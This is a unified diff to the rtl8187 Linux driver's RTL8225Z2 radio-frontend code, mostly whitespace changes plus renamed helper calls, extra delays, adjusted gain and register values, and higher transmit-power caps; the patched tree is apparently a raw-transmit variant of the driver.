+++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-08-12 13:11:32.000000000 -0400 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_wx.c 